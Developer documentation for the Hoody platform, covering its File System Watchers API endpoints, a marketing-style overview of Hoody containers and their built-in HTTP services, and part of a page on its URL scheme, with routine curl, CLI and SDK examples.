[Download Raw Markdown](./api/watch-health.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/api/v1/watch/health`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Watch:streams

**Page:** api/watch-streams

[Download Raw Markdown](./api/watch-streams.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/watchers/{id}/events`
- **GET** `/watchers/{id}/events/sse`
- **GET** `/watchers/{id}/events/ws`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Watch:watchers

**Page:** api/watch-watchers

[Download Raw Markdown](./api/watch-watchers.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **GET** `/watchers`
- **POST** `/watchers`
- **GET** `/watchers/{id}`
- **DELETE** `/watchers/{id}`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# File System Watchers

**Page:** api/watch

[Download Raw Markdown](./api/watch.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The File System Watchers API lets you create and manage file system watchers that monitor paths for changes and stream events in real time via Server-Sent Events (SSE) or WebSocket connections. Use these endpoints to configure watchers, retrieve event history, and subscribe to live event streams.

## Health

### `GET /api/v1/watch/health`

Check the health status of the watch service.

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/api/v1/watch/health
```


```typescript
const health = await client.watch.health.check();
```


Service is healthy.
```json
{
  "status": "ok",
  "service": "watch",
  "started": "2026-02-11T08:00:00Z",
  "pid": 12345,
  "ip": "10.0.0.1",
  "built": "2026-02-10T12:00:00Z",
  "fds": 128,
  "memory": {
    "rss": 52428800,
    "heap": 31457280
  },
  "userAgent": "hoody-sdk/1.0"
}
```



## Watchers

### `GET /watchers`

List all configured file system watchers with pagination.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | Page number (1-based). |
| `limit` | query | integer | No | Items per page (1-200). |



```bash
curl "https://api.hoody.com/watchers?page=1&limit=20"
```


```typescript
const watchers = await client.watch.watchers.listIterator({
  page: 1,
  limit: 20
});
```


Watcher list.
```json
{
  "items": [
    {
      "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "created_at": "2026-02-11T08:00:00Z",
      "config": {
        "paths": ["/home/user/documents"],
        "recursive": true,
        "include": ["*.txt", "*.md"],
        "exclude": ["*.tmp"],
        "ignore_dirs": ["node_modules", ".git"],
        "kinds": ["created", "modified", "removed"],
        "coalesce_ms": 100,
        "history_size": 1000,
        "history_limit_bytes": 10485760
      },
      "stats": {
        "events_seen": 42,
        "events_broadcast": 38,
        "events_dropped": 0,
        "stream_errors": 0,
        "active_clients": 1
      }
    }
  ],
  "page": 1,
  "limit": 20,
  "total": 1
}
```


Invalid pagination.
```json
{
  "code": "INVALID_PAGINATION",
  "message": "Limit must be between 1 and 200",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_REQUEST` | Invalid request | Request payload failed validation | Check request fields and retry |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |



### `POST /watchers`

Create a new file system watcher.

The request body is defined by the `watch_CreateWatcherRequest` schema.



```bash
curl -X POST https://api.hoody.com/watchers \
  -H "Content-Type: application/json" \
  -d '{
    "paths": ["/home/user/documents"],
    "recursive": true,
    "include": ["*.txt", "*.md"],
    "exclude": ["*.tmp"],
    "ignore_dirs": ["node_modules"],
    "kinds": ["created", "modified", "removed"],
    "coalesce_ms": 100,
    "history_size": 1000
  }'
```


```typescript
const watcher = await client.watch.watchers.create({
  paths: ["/home/user/documents"],
  recursive: true,
  include: ["*.txt", "*.md"],
  exclude: ["*.tmp"],
  ignore_dirs: ["node_modules"],
  kinds: ["created", "modified", "removed"],
  coalesce_ms: 100,
  history_size: 1000
});
```


Watcher created.
```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "created_at": "2026-02-11T08:00:00Z",
  "config": {
    "paths": ["/home/user/documents"],
    "recursive": true,
    "include": ["*.txt", "*.md"],
    "exclude": ["*.tmp"],
    "ignore_dirs": ["node_modules"],
    "kinds": ["created", "modified", "removed"],
    "coalesce_ms": 100,
    "history_size": 1000,
    "history_limit_bytes": 10485760
  },
  "stats": {
    "events_seen": 0,
    "events_broadcast": 0,
    "events_dropped": 0,
    "stream_errors": 0,
    "active_clients": 0
  }
}
```


Invalid request.
```json
{
  "code": "INVALID_REQUEST",
  "message": "path list cannot be empty",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_REQUEST` | Invalid request | Request payload failed validation | Check request fields and retry |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |


Watcher or path limits exceeded.
```json
{
  "code": "LIMIT_EXCEEDED",
  "message": "watcher limit reached",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LIMIT_EXCEEDED` | Resource limit exceeded | Watcher or path limits exceeded | Reduce paths or delete unused watchers |
| `HISTORY_GAP` | Replay history gap | Requested since_id is older than retained replay history | Reconnect without since_id or increase history_memory_limit_bytes |


Internal server error.
```json
{
  "code": "WATCHER_START_FAILED",
  "message": "failed to start watcher: inotify watch limit reached",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_START_FAILED` | Watcher startup failed | Backend failed to initialize file watcher | Check path permissions and kernel watch limits |



### `GET /watchers/{id}`

Get details for a specific watcher.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Watcher id |



```bash
curl https://api.hoody.com/watchers/a1b2c3d4-e5f6-7890-abcd-ef1234567890
```


```typescript
const watcher = await client.watch.watchers.get({
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
});
```


Watcher details.
```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "created_at": "2026-02-11T08:00:00Z",
  "config": {
    "paths": ["/home/user/documents"],
    "recursive": true,
    "include": ["*.txt", "*.md"],
    "exclude": ["*.tmp"],
    "ignore_dirs": ["node_modules", ".git"],
    "kinds": ["created", "modified", "removed"],
    "coalesce_ms": 100,
    "history_size": 1000,
    "history_limit_bytes": 10485760
  },
  "stats": {
    "events_seen": 42,
    "events_broadcast": 38,
    "events_dropped": 0,
    "stream_errors": 0,
    "active_clients": 1
  }
}
```


Watcher not found.
```json
{
  "code": "WATCHER_NOT_FOUND",
  "message": "Watcher not found",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_NOT_FOUND` | Watcher not found | No watcher exists for provided id | List watchers and use a valid watcher id |



### `DELETE /watchers/{id}`

Delete a file system watcher and stop all associated streams.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Watcher id |



```bash
curl -X DELETE https://api.hoody.com/watchers/a1b2c3d4-e5f6-7890-abcd-ef1234567890
```


```typescript
await client.watch.watchers.delete({
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
});
```


Watcher deleted.
```json
{
  "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "deleted": true
}
```


Watcher not found.
```json
{
  "code": "WATCHER_NOT_FOUND",
  "message": "Watcher not found",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_NOT_FOUND` | Watcher not found | No watcher exists for provided id | List watchers and use a valid watcher id |



## Event Streaming

### `GET /watchers/{id}/events`

Retrieve paginated event history for a watcher. Use `since_id` or `since_timestamp` to replay events from a specific point.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Watcher id |
| `since_id` | query | integer | No | Replay events strictly after this event id. |
| `since_timestamp` | query | string | No | Replay events strictly after this timestamp. Accepted formats: RFC3339 (e.g. `2026-02-11T15:30:00Z`), Unix seconds (e.g. `1739287800`), Unix milliseconds (e.g. `1739287800123`). |
| `page` | query | integer | No | Page number (1-based). |
| `limit` | query | integer | No | Items per page (1-200). |



```bash
curl "https://api.hoody.com/watchers/a1b2c3d4-e5f6-7890-abcd-ef1234567890/events?page=1&limit=50"
```


```typescript
const events = await client.watch.streams.listEventsIterator({
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  page: 1,
  limit: 50
});
```


Watcher event history.
```json
{
  "items": [
    {
      "id": 1739287800001,
      "watcher_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "kind": "modified",
      "path": "/home/user/documents/notes.txt",
      "timestamp": "2026-02-11T15:30:00Z",
      "is_dir": false,
      "new_size_bytes": 2048,
      "old_size_bytes": 1024,
      "old_path": null,
      "details": null
    }
  ],
  "page": 1,
  "limit": 50,
  "total": 1,
  "newest_available_id": 1739287800001,
  "newest_available_timestamp": "2026-02-11T15:30:00Z",
  "oldest_available_id": 1739287800001,
  "oldest_available_timestamp": "2026-02-11T15:30:00Z"
}
```


Invalid query.
```json
{
  "code": "INVALID_PAGINATION",
  "message": "Limit must be between 1 and 200",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_REQUEST` | Invalid request | Request payload failed validation | Check request fields and retry |
| `INVALID_PAGINATION` | Invalid pagination | Page or limit is out of range | Use page &ge; 1 and limit between 1 and 200 |


Watcher not found.
```json
{
  "code": "WATCHER_NOT_FOUND",
  "message": "Watcher not found",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_NOT_FOUND` | Watcher not found | No watcher exists for provided id | List watchers and use a valid watcher id |


Replay history gap.
```json
{
  "code": "HISTORY_GAP",
  "message": "Requested since_id is older than available replay history",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LIMIT_EXCEEDED` | Resource limit exceeded | Watcher or path limits exceeded | Reduce paths or delete unused watchers |
| `HISTORY_GAP` | Replay history gap | Requested since_id is older than retained replay history | Reconnect without since_id or increase history_memory_limit_bytes |



### `GET /watchers/{id}/events/sse`

Stream watcher events in real time via Server-Sent Events (SSE). The connection remains open and emits events as they occur. Use `since_id` or `since_timestamp` to replay missed events before live streaming begins.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Watcher id |
| `since_id` | query | integer | No | Replay events strictly after this event id. |
| `since_timestamp` | query | string | No | Replay events strictly after this timestamp. Accepted formats: RFC3339 (e.g. `2026-02-11T15:30:00Z`), Unix seconds (e.g. `1739287800`), Unix milliseconds (e.g. `1739287800123`). |



```bash
curl -N "https://api.hoody.com/watchers/a1b2c3d4-e5f6-7890-abcd-ef1234567890/events/sse?since_id=1739287800000"
```


```typescript
const stream = await client.watch.streams.streamSse({
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  since_id: 1739287800000
});
```


SSE stream established. The connection remains open and emits events as they occur.


Watcher not found.
```json
{
  "code": "WATCHER_NOT_FOUND",
  "message": "Watcher not found",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_NOT_FOUND` | Watcher not found | No watcher exists for provided id | List watchers and use a valid watcher id |


Replay history gap.
```json
{
  "code": "HISTORY_GAP",
  "message": "Requested since_id is older than available replay history",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LIMIT_EXCEEDED` | Resource limit exceeded | Watcher or path limits exceeded | Reduce paths or delete unused watchers |
| `HISTORY_GAP` | Replay history gap | Requested since_id is older than retained replay history | Reconnect without since_id or increase history_memory_limit_bytes |


Too many stream clients.
```json
{
  "code": "MAX_CLIENTS_REACHED",
  "message": "Watcher has reached max stream clients",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MAX_CLIENTS_REACHED` | Too many clients | Watcher stream client limit reached | Disconnect idle clients or increase max_clients_per_watcher |



### `GET /watchers/{id}/events/ws`

Stream watcher events in real time via WebSocket. The connection is upgraded to a WebSocket and remains open, emitting events as they occur. Use `since_id` or `since_timestamp` to replay missed events before live streaming begins.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Watcher id |
| `since_id` | query | integer | No | Replay events strictly after this event id. |
| `since_timestamp` | query | string | No | Replay events strictly after this timestamp. Accepted formats: RFC3339 (e.g. `2026-02-11T15:30:00Z`), Unix seconds (e.g. `1739287800`), Unix milliseconds (e.g. `1739287800123`). |



```bash
curl -N \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  "https://api.hoody.com/watchers/a1b2c3d4-e5f6-7890-abcd-ef1234567890/events/ws?since_id=1739287800000"
```


```typescript
const stream = await client.watch.streams.streamWs({
  id: "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  since_id: 1739287800000
});
```


WebSocket connection upgraded. The connection remains open and emits events as they occur.


Watcher not found.
```json
{
  "code": "WATCHER_NOT_FOUND",
  "message": "Watcher not found",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `WATCHER_NOT_FOUND` | Watcher not found | No watcher exists for provided id | List watchers and use a valid watcher id |


Replay history gap.
```json
{
  "code": "HISTORY_GAP",
  "message": "Requested since_id is older than available replay history",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `LIMIT_EXCEEDED` | Resource limit exceeded | Watcher or path limits exceeded | Reduce paths or delete unused watchers |
| `HISTORY_GAP` | Replay history gap | Requested since_id is older than retained replay history | Reconnect without since_id or increase history_memory_limit_bytes |


Too many stream clients.
```json
{
  "code": "MAX_CLIENTS_REACHED",
  "message": "Watcher has reached max stream clients",
  "details": null
}
```
| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MAX_CLIENTS_REACHED` | Too many clients | Watcher stream client limit reached | Disconnect idle clients or increase max_clients_per_watcher |

---

# Containers

**Page:** concepts/containers

[Download Raw Markdown](./concepts/containers.md)

---

# Containers

**Forget everything you know about containers.**

Docker containers are build artifacts. Lightweight, disposable, stateless. You bake an image, ship it, run it, throw it away. They are packaging -- not computing.

Hoody containers are computers. Full Debian 13 Linux machines with systemd, their own filesystem, their own network stack, their own process tree. They boot. They run services. They persist state. They have terminals and desktops and databases and browsers. They are not ephemeral throw-away images. They are machines you live in.

The difference is not incremental. It is categorical. And they run on servers you actually own — bare metal hardware you rent from the marketplace, not a cloud provider's shared infrastructure. Years of privacy and security engineering at Hoody went into making sure your containers are yours.

---

## What You Actually Get

When you create a Hoody container, you get a complete Linux computer:

- **Debian 13** (Trixie) with full package manager (`apt`)
- **systemd** init system (real service management, not hacked entrypoints)
- **Own filesystem** (persistent, writable, full Linux FHS)
- **Own network stack** (own IP, own DNS, own routing table)
- **Own process tree** (PID namespace, proper process isolation)
- **18 built-in HTTP services** (terminal, display, files, exec, sqlite, browser, workspaces, code, curl, notifications, daemons, cron, pipe, notes, watch, run, tunnel, proxy logs)

Every one of those services is a URL. The moment the container spawns, you have 18 live endpoints. No setup, no configuration, no deployment pipeline.


  
    ```bash
    # Create a container -- a full Linux computer
    hoody containers create --project abc123def456789012345678 \
      --server-id node-us-server-id \
      --name "dev-environment" \
      --hoody-kit \
      --dev-kit

    # 30 seconds later: 18 HTTP services, all live
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Spawn a full Linux computer
    const container = await client.api.containers.create('abc123def456789012345678', {
      server_id: 'node-us-server-id',
      name: 'dev-environment',
      hoody_kit: true,
      dev_kit: true
    });

    // Immediately available:
    // container.id -> 890abcdef12345678901cdef
    // Terminal, Display, Files, Exec, SQLite, Browser, Workspaces,
    // Code, cURL, Notifications, Daemons, Cron, Pipe, Notes,
    // Watch, Run, Tunnel, Proxy Logs — all at predictable URLs
    ```
  
  
    ```bash
    # One POST, one computer
    curl -X POST "https://api.hoody.icu/api/v1/projects/abc123def456789012345678/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "server_id": "node-us-server-id",
        "name": "dev-environment",
        "hoody_kit": true,
        "dev_kit": true
      }'

    # Response includes container ID
    # Construct any service URL:
    # https://{projectId}-{containerId}-terminal-1.node-us.containers.hoody.icu
    ```
  


---

## Containers vs Docker: Not Even the Same Category

Docker solved packaging. Hoody solves computing. They are not competitors. They are different tools for different problems.

| | Docker Container | Hoody Container |
| :--- | :--- | :--- |
| **What it is** | A process running from a filesystem image | A full Linux computer |
| **Init system** | None (or hacked PID 1) | systemd |
| **Persistence** | Ephemeral by default (volumes are add-ons) | Persistent by default |
| **Network** | Shared bridge / host network | Own network stack with own IP |
| **Services** | One process per container (convention) | 18 built-in HTTP services + anything you install |
| **Access** | `docker exec` from the host | URL from anywhere on Earth |
| **State** | Destroy and rebuild | Snapshot, restore, branch |
| **OS** | Stripped-down layers | Full Debian 13 with apt |
| **Purpose** | Ship software | Run computers |

Docker asks: "How do I package and deploy this app?" Hoody asks: "How do I give someone a computer that is instantly accessible from anywhere?"


You can still run Docker INSIDE a Hoody container. A Hoody container is a full Linux machine -- install Docker, Podman, or anything else. The container is the computer. What you run inside it is up to you.


---

## Containers vs VMs: Same Goal, Different Era

Virtual machines also give you full computers. But VMs were designed for the pre-web era. They assume you will SSH into them, configure them manually, and manage them like pets.

Hoody containers are designed for the HTTP era:

| | Traditional VM | Hoody Container |
| :--- | :--- | :--- |
| **Access** | SSH, VNC, RDP (specialized clients) | HTTPS (browser or curl) |
| **Boot time** | Minutes | Seconds |
| **Overhead** | Full OS + hypervisor | Lightweight (LXC + namespaces) |
| **Density** | 5-20 per server | Hundreds per server |
| **Isolation** | Hardware-level (hypervisor) | Kernel-level (namespaces + seccomp) |
| **Built-in services** | None -- install everything | 18 HTTP services out of the box |
| **Embeddable** | No | Yes -- every service is an iframe-able URL |
| **AI-accessible** | Requires SSH adapter | Native -- AI speaks HTTP |
| **Snapshots** | Slow (full disk image) | Instant (copy-on-write) |

You get VM-grade isolation without VM-grade overhead. You get full computers without the boot time. You get dedicated machines without the density penalty.

---

## The 18 Built-In Services

Every Hoody container comes with the **Hoody Kit** -- 18 services that abstract Linux capabilities into HTTP endpoints. These are not optional add-ons. They are the container's native interface.

| Service | URL Segment | What It Does |
| :--- | :--- | :--- |
| **Terminal** | `terminal-N` | Shell sessions via HTTP + WebSocket |
| **Display** | `display-N` | Full desktop environments (Xfce, etc.) via browser |
| **Files** | `files-N` | Filesystem access (read, write, delete, list) |
| **SQLite** | `sqlite-N` | SQL databases queryable via HTTP |
| **Exec** | `exec-N` | Scripts that become HTTP endpoints automatically |
| **Browser** | `browser-N` | Chrome/Chromium automation via REST |
| **Workspaces** | `workspaces-N` | AI agent orchestration with 100+ tools |
| **Code** | `code-N` | VS Code instances in the browser |
| **cURL** | `curl-N` | Transform any REST call into a GET URL |
| **Notifications** | `n-N` | Push notifications via HTTP |
| **Daemons** | `daemon-N` | Background process management |
| **Cron** | `cron-N` | Scheduled task management |
| **Pipe** | `pipe-N` | Streaming data transfer between devices |
| **Notes** | `notes-N` | Collaborative notebooks with real-time sync |
| **Watch** | `watch-N` | File change notifications via HTTP + WebSocket |
| **Run** | `run-N` | Multi-source app resolver (Nix, pkgx, AppImage, Docker/OCI) |
| **Tunnel** | `tunnel-N` | TCP tunneling over HTTP (expose or pull services) |
| **Proxy Logs** | `logs-N` | Access logs and traffic inspection for Hoody Proxy |

Every service is a URL. Every URL is accessible from anywhere. The container is not just a Linux machine -- it is a Linux machine that speaks HTTP natively.


  
    ```bash
    # Run a command in the container
    hoody terminal sessions exec \
      --command "apt update && apt install -y nodejs" \
      -c 890abcdef12345678901cdef

    # Read a file
    hoody files get /home/user/app.js -c 890abcdef12345678901cdef

    # Query a database
    hoody db exec-transaction \
      --transaction '{"transaction":[{"query":"SELECT * FROM users"}]}' \
      -c 890abcdef12345678901cdef
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER_NAME
    });

    // Terminal: run a command
    const result = await containerClient.terminal.execution.execute({
      command: 'node --version',
      wait: true
    });

    // Files: read application code
    const code = await containerClient.files.get('/home/user/app.js');

    // SQLite: query the database (via direct fetch to the container service URL)
    const base = `https://${PROJECT_ID}-${CONTAINER_ID}`;
    const node = `${SERVER_NAME}.containers.hoody.icu`;
    const data = await fetch(`${base}-sqlite-1.${node}/api/v1/sqlite/db?db=app`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ transaction: [{ query: 'SELECT count(*) FROM users' }] })
    });
    ```
  
  
    ```bash
    # Terminal: install software
    curl -X POST "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "apt install -y python3", "wait": true}'

    # Files: download a log file
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files/var/log/syslog" \
      -o syslog.txt

    # Display: take a screenshot of the desktop
    curl "https://$PROJECT-$CONTAINER-display-1.$SERVER.containers.hoody.icu/api/v1/display/screenshot" \
      -o desktop.png

    # Browser: navigate to a page
    curl "https://$PROJECT-$CONTAINER-browser-1.$SERVER.containers.hoody.icu/browse?browser_id=0&url=https%3A%2F%2Fexample.com"
    ```
  


---

## Container Isolation

Each container is a security boundary. Not a process boundary. Not a namespace suggestion. A boundary.

**Own filesystem.** Containers cannot see each other's files. No shared volumes by default. Each container has its own root filesystem, its own `/home`, its own `/etc`. You can explicitly share directories between containers if you choose, but isolation is the default.

**Own network.** Each container has its own IP address, its own routing table, its own DNS configuration. Containers do not share a network bridge. They communicate via HTTP URLs through the [proxy](/concepts/proxy/), the same way any two computers on the internet communicate.

**Own processes.** PID namespaces ensure containers cannot see or signal each other's processes. A compromised container cannot `kill -9` its neighbors.

**Kernel-enforced.** This isolation is not application-level. It is enforced by Linux namespaces, seccomp filters, and a hardened kernel. Breaking out of a container requires a kernel exploit, not an application bug.


Containers share the host kernel. This is lighter than a hypervisor but means kernel vulnerabilities could theoretically affect container isolation. Hoody uses a custom hardened Hoody kernel with seccomp filters and restricted syscalls to minimize this surface. For workloads that need full kernel isolation, Hoody can also provision dedicated virtual-machine instances instead of system containers.


---

## Multiple Instances

A container is not limited to one terminal, one desktop, one database. The instance number in the URL (`-1`, `-2`, `-3`) lets you run multiple parallel instances of any service:

```
https://...890abc-terminal-1.node-us.containers.hoody.icu   # Developer's shell
https://...890abc-terminal-2.node-us.containers.hoody.icu   # Build process
https://...890abc-terminal-3.node-us.containers.hoody.icu   # AI agent's session

https://...890abc-display-1.node-us.containers.hoody.icu    # Main desktop
https://...890abc-display-2.node-us.containers.hoody.icu    # Secondary monitor

https://...890abc-sqlite-1.node-us.containers.hoody.icu     # Application database
https://...890abc-sqlite-2.node-us.containers.hoody.icu     # Analytics database
```

Same container. Different sessions. Different users. Different AI agents. All running concurrently, all isolated by instance, all accessible at their own URL.

This is multiplayer by architecture, not by feature flag.

---

## The Economics: Infinite Containers

Traditional VMs consume fixed resources whether you use them or not. A 2-core, 4GB VM costs the same idle as it does under load.

Hoody containers use **KSM** (Kernel Samepage Merging) and **BTRFS deduplication** to share identical memory pages and storage blocks across containers. One hundred containers running the same base Debian image do not consume 100x the memory. They share what is identical and pay only for what differs.

This means:

- **Development containers** cost nearly nothing when idle
- **Test containers** share base OS memory with production containers
- **Staging environments** are not a budget conversation
- **Per-feature containers** become practical, not extravagant
- **AI agents** can each get their own container without resource anxiety

You are not rationing computers. You are spawning them.


  
    ```bash
    # Spawn 10 containers for parallel testing
    for i in $(seq 1 10); do
      hoody containers create --project $PROJECT_ID \
        --server-id $SERVER_ID \
        --name "test-runner-$i" \
        --hoody-kit
    done

    # Each gets 18 HTTP services, each isolated
    # Shared memory pages keep resource usage low
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Spin up containers for each team member
    const names = ['alice', 'bob', 'carol', 'dave'];

    const containers = await Promise.all(
      names.map(name =>
        client.api.containers.create(projectId, {
          server_id: serverId,
          name: `dev-${name}`,
          hoody_kit: true,
          dev_kit: true
        })
      )
    );

    // 4 full Linux computers, each with 18 services
    // KSM deduplicates shared memory pages automatically
    ```
  
  
    ```bash
    # Create containers in parallel -- they're cheap
    for name in frontend backend database worker; do
      curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
        -H "Authorization: Bearer $HOODY_TOKEN" \
        -H "Content-Type: application/json" \
        -d "{
          \"server_id\": \"$SERVER_ID\",
          \"name\": \"$name\",
          \"hoody_kit\": true,
          \"dev_kit\": true
        }" &
    done
    wait

    # 4 computers created in ~30 seconds
    # Each with terminal, display, files, exec, sqlite...
    ```
  


---

## Container Lifecycle

Containers are not disposable. They have state, history, and continuity.

**Create** -- a POST to the API. The container boots in seconds with all services running.

**Run** -- the container operates as a full Linux machine. Install software, run servers, write code, train models. Everything persists.

**Snapshot** -- capture the entire filesystem state instantly. [Snapshots](/concepts/snapshots/) are copy-on-write, so they cost almost nothing.

**Stop** -- the container halts but preserves its filesystem. Start it again, and everything is where you left it.

**Restore** -- revert to any snapshot. Time travel in seconds.

**Copy** -- duplicate a container to another server or project. Clone your development environment for a new team member in one API call.

**Delete** -- destroy the container. The URL ceases to exist.

At every stage, the container's identity is its URL. Create it, and URLs appear. Delete it, and URLs vanish.

---

## The Atomic Unit of Computing

In legacy infrastructure, the "unit" is ambiguous. Is it a server? A VM? A pod? A process? A function? Teams spend more time debating the abstraction than building on it.

In Hoody, the atomic unit is the container. It is the answer to every question:

- "Where does this service run?" **In a container.**
- "How do I give the AI access?" **Give it the container URL.**
- "How do I isolate this experiment?" **Put it in a container.**
- "How do I roll back?" **Restore the container snapshot.**
- "How do I share this environment?" **Share the container URL.**

One abstraction. One mental model. One URL pattern. Everything else is built on top of containers, not beside them.


When in doubt, create a container. They are cheap, they are fast, they are isolated, and they are HTTP-native. The overhead of a new container is less than the overhead of configuring a shared one.


---

**Next:** [The Hoody Proxy](/concepts/proxy/) -- how URLs reach containers.

---

# Everything is a URL

**Page:** concepts/everything-is-a-url

[Download Raw Markdown](./concepts/everything-is-a-url.md)

---

# Everything is a URL

**In most platforms, URLs are an afterthought.** An address you bolt onto something after building it. A convenience. A nice-to-have.

In Hoody, a URL is the thing itself. Your terminal is not "accessible at" a URL. Your terminal **is** a URL. Your desktop, your filesystem, your database, your AI agent -- they do not merely have addresses. They are addresses. Destroy the URL, destroy the resource. Share the URL, share the resource. Compose URLs, compose systems.

This is not a metaphor. This is the architecture. Every process, on a server you own, is an HTTPS endpoint with HTTP/2 and HTTP/3 — zero certificates, zero configuration, zero excuses. You can embed any program in an iframe, control it from an AI agent, access it from `ssh hoody.com`, or just open it in a browser on your phone. The scale of what this enables is genuinely insane.

---

## The Anatomy of a Hoody URL

Every resource in Hoody lives at a predictable, deterministic address:

```
https://{projectId}-{containerId}-{service}-{instance}.{serverName}.containers.hoody.icu
```

| Segment | Example | What It Encodes |
| :--- | :--- | :--- |
| `projectId` | `67e89abc123def456789abcd` | Which project owns this resource. 24 hex chars. |
| `containerId` | `890abcdef12345678901cdef` | Which container runs it. 24 hex chars. Cryptographically unguessable. |
| `service` | `terminal` | What kind of resource: terminal, display, files, exec, sqlite, browser, workspaces, code, curl, notifications, daemons, cron, pipe, watch, notes, run, tunnel, logs. |
| `instance` | `1` | Which instance of that service. Change `1` to `2` and you get a different terminal session, a different desktop, a different database. |
| `serverName` | `node-us` | The bare metal server hosting it. Geography encoded in the URL. |

**Every segment is meaningful.** Change one segment and you reach a different resource. Every segment maps to a piece of real infrastructure -- a project boundary, a container filesystem, a service process, a physical server.

This is not a routing convention. It is the topology of your infrastructure, expressed as text.

---

## Four Kinds of URLs

Hoody has four URL families. Each serves a different purpose, but all follow the same principle: the address IS the interface.

### 1. Container Service URLs

The workhorse. Every container gets 18 service URLs the moment it spawns:

```
https://67e89abc...-890abcdef...-terminal-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-display-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-files-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-exec-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-sqlite-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-browser-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-workspaces-1.node-us.containers.hoody.icu
https://67e89abc...-890abcdef...-http-3000.node-us.containers.hoody.icu
```

No DNS setup. No port forwarding. No nginx configuration. The proxy reads the URL, routes to the container, dispatches to the service. Done.

### 2. API URLs

The Hoody API itself is a URL:

```
https://api.hoody.icu/api/v1/containers
https://api.hoody.icu/api/v1/projects
https://api.hoody.icu/api/v1/servers
```

This is how you create, manage, and destroy resources. The API URL creates container URLs. Container URLs serve the resources. It is URLs all the way down.

